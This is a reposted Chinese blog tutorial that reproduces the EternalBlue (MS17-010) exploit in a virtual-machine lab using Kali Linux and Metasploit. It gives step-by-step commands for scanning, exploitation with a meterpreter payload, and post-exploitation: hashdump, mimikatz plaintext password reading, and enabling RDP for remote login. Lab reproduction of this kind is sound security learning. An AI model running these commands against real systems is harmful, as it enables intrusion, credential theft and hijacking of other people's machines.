虚拟化漏洞3种解决方案_怎么实现漏洞复现的

利用虚拟机复现漏洞“永恒之蓝”

攻击:kali Linux 2020.3 靶机:Windows Server 2008 R2 x64 下面详细讲述测试的过程。

—— ——

“ 永恒之蓝 ”简介

利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。 “ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。

这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。

—— ——

Metasploit(MSF)简介

Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。 本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。

——

Metasploit 模块介绍

  • Auxiliary 辅助模块 为渗透信息提供了大量的辅助模块支持
  • Exploits 攻击模块 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件
  • Payload 攻击载荷模块 攻击成功后促使靶机运行的一段植入代码
  • Post 后渗透攻击模块 收集更多信息或进一步访问被利用的目标系统
  • Encoders 编码模块 将攻击载荷进行编码,来绕过防护软件拦截

—— ——

测试漏洞前的准备

连接数据库

kali Linux 中自带 msf 工具。 先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。 开启数据库:

service postgresql start

postgresql 也是 kali 机里自带的。 第一次用 postgresql 的话,要进行一些设置。

先登录控制台:

sudo -u postgres psql

———————————————————-M——————————————————

这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。

———————————————————-W——————————————————–

然后 修改密码

CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;

其中用户名 admin 和单引号中的密码 psql 根据自己写。 成功则返回 CREATE ROLE

创建新用户

CREATE DATABASE msf OWNER admin;

成功则返回 CREATE DATABASE

设置好输入 exit 退出 postgresql 控制台即可。

接下来 开启 msf 控制台:

msfconsole

开启之后看到中间有个图案,这个是随机的,不一定是什么图案。 同时也可以看到我们 metasploit 的版本。 以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。

msf 连接 postgresql 数据库

db_connect admin:psql@127.0.0.1/msf

并检测是否连接上:

db_status

以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:

开启数据库:service postgresql start 开启 msf 控制台:msfconsole 连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf

————————————————————–M———————————————————

还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。 ————————————————————–W———————————————————

——

msf帮助手册

输入 ? 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。

Core Commands :核心命令

Module Commands :模块命令

Job Commands:工作命令

Resource Script Command :脚本命令

Database Backend Commands :数据库命令

这就是为什么前面要开启数据库的原因。 如果没开启数据库,这些命令就用不了。

还有一些发展命令之类的,最后还有一些使用教程。

—— ——

进入“永恒之蓝”模块

接下来用 search 命令搜索一下“ 永恒之蓝 ”。 search 就像搜索引擎的功能,可以根据关键字进行搜索。 命令:

search ms17-010

(ms17-010 是“ 永恒之蓝 ”的漏洞编号) 可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。

使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。 这里要用到上图中编号为 1 的模块,则使用命令为:

use 1

use auxiliary/scanner/smb/smb_ms17_010

可以看到这样就进入到这个模块里了。

然后用命令 options 查看我们需要设置什么。 看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。

这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。 NAMED_PIPES 路径已经设置好了。 RPORT :445端口 永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。 如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。 THREADS 线程,我们这里测试一个目标,所以一个线程就够了。 RHOSTS :目标主机的地址。

—— ——

使用 msf “永恒之蓝”模块

接下来就进行攻击了。 这里用 Windows Server 2008 作为目标测试。

先用命令 ping www.baidu.com 检查一下网络。 没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。

再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。 一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。

然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:

db_nmap 192.168.226.131 -p 445 -v

扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。

—— ——

auxiliary 辅助模块使用

前面的 RHOSTS 目标地址还是空的,需要进行设置一下。 这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。

然后用命令:

hosts -R

直接让这个 RHOSTS 指向了这个地址。

或者用 set 命令:

set rhost 192.168.226.131

用 iptions 命令验证一下,看到已经设置成功了。

准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。 可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。

—— ——

expolit 攻击模块使用

到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。 接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。

使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。

如果没有自动设置 payload 的话,需要手动设置一下。 使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。 进行筛选,定位到 Windows 64 位操作系统; 如果有 meterpreter 就选择这个,功能比较强大; 然后 payload 后面的连接方式,这里选择 tcp 的。

选择好之后,进行设置 payload :

set payload windows/x64/meterpreter

然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。 有目标地址、目标端口、本地地址等信息。

同样用 hosts -R 设置目标地址。

看哪里没设置好就设置哪里。 比如如果这里本地地址是空的,就用命令设置 LHOST

set lhost 192.168.226.128

设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。

这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。 目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。 为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。

—— ——

攻击成功后的命令测试

查看权限

可以看看我们当前在目标机器的权限:

getuid

可以看到已经是 system 系统权限了。

可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。 试试进入 shell 。 可以看到执行之后的样子,很熟悉:C:\Windows\system32> 就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。 (编码导致的中文乱码可忽略)

看看此时的权限,同样是 system 系统权限。

用 exit 命令退出回到 meterpreter 。

输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。

—— ——

获取目标用户密码

比如这里用帮助文档中的 hashdump 命令查看目标的密码。 密码可以用 md5 在线解码网址解出来。

如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:

load mimikatz

加载成功后使用命令 wdigest 直接读取密码。 可以看到读取到了用户名为 Administrator 的密码为 2008Server 。 这个的确是我在目标机器上设置的密码。 同时也可以看到这条命令的执行是需要 system 系统权限的。

—— ——

远程连接测试

有了用户名和密码就可以直接登录到目标的服务器了。 这里测试一下用远程连接服务登录。 先看看远程连接服务的端口是否开放。

db_nmap 192.168.226.131 -p 3389

看到 3389 端口是关闭的。

如果忘记具体改端口的命令,用关键字搜索一下。

使用命令 use ‘编号’ 进入这个模块; 命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令) 命令 set session 1 设置。

命令 run 执行这个刚刚进入开端口的模块。 执行后再看看 3389 端口已经开放了。

选择就可以进行远程登录了,这里我新开一个命令行。 输入:

rdesktop 192.168.226.131

输入 yes ,就打开了远程连接的窗口。

用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。

同时,本来处于登录状态的目标也被挤下线了。

我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。

————————————————————–M———————————————————

background 命令 可以用 background 命令让当前命令在后台,刚才的会话会保存下来。 用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。

————————————————————–W———————————————————

到这里,进行漏洞攻击的测试就结束了! 总结:有些坑不得不踩!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/181252.html原文链接:https://javaforall.cn

原文地址:https://cloud.tencent.com/developer/article/2150526

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


学习编程是顺着互联网的发展潮流,是一件好事。新手如何学习编程?其实不难,不过在学习编程之前你得先了解你的目的是什么?这个很重要,因为目的决定你的发展方向、决定你的发展速度。
IT行业是什么工作做什么?IT行业的工作有:产品策划类、页面设计类、前端与移动、开发与测试、营销推广类、数据运营类、运营维护类、游戏相关类等,根据不同的分类下面有细分了不同的岗位。
女生学Java好就业吗?女生适合学Java编程吗?目前有不少女生学习Java开发,但要结合自身的情况,先了解自己适不适合去学习Java,不要盲目的选择不适合自己的Java培训班进行学习。只要肯下功夫钻研,多看、多想、多练
Can’t connect to local MySQL server through socket \'/var/lib/mysql/mysql.sock问题 1.进入mysql路径
oracle基本命令 一、登录操作 1.管理员登录 # 管理员登录 sqlplus / as sysdba 2.普通用户登录
一、背景 因为项目中需要通北京网络,所以需要连vpn,但是服务器有时候会断掉,所以写个shell脚本每五分钟去判断是否连接,于是就有下面的shell脚本。
BETWEEN 操作符选取介于两个值之间的数据范围内的值。这些值可以是数值、文本或者日期。
假如你已经使用过苹果开发者中心上架app,你肯定知道在苹果开发者中心的web界面,无法直接提交ipa文件,而是需要使用第三方工具,将ipa文件上传到构建版本,开...
下面的 SQL 语句指定了两个别名,一个是 name 列的别名,一个是 country 列的别名。**提示:**如果列名称包含空格,要求使用双引号或方括号:
在使用H5混合开发的app打包后,需要将ipa文件上传到appstore进行发布,就需要去苹果开发者中心进行发布。​
+----+--------------+---------------------------+-------+---------+
数组的声明并不是声明一个个单独的变量,比如 number0、number1、...、number99,而是声明一个数组变量,比如 numbers,然后使用 nu...
第一步:到appuploader官网下载辅助工具和iCloud驱动,使用前面创建的AppID登录。
如需删除表中的列,请使用下面的语法(请注意,某些数据库系统不允许这种在数据库表中删除列的方式):
前不久在制作win11pe,制作了一版,1.26GB,太大了,不满意,想再裁剪下,发现这次dism mount正常,commit或discard巨慢,以前都很快...
赛门铁克各个版本概览:https://knowledge.broadcom.com/external/article?legacyId=tech163829
实测Python 3.6.6用pip 21.3.1,再高就报错了,Python 3.10.7用pip 22.3.1是可以的
Broadcom Corporation (博通公司,股票代号AVGO)是全球领先的有线和无线通信半导体公司。其产品实现向家庭、 办公室和移动环境以及在这些环境...
发现个问题,server2016上安装了c4d这些版本,低版本的正常显示窗格,但红色圈出的高版本c4d打开后不显示窗格,
TAT:https://cloud.tencent.com/document/product/1340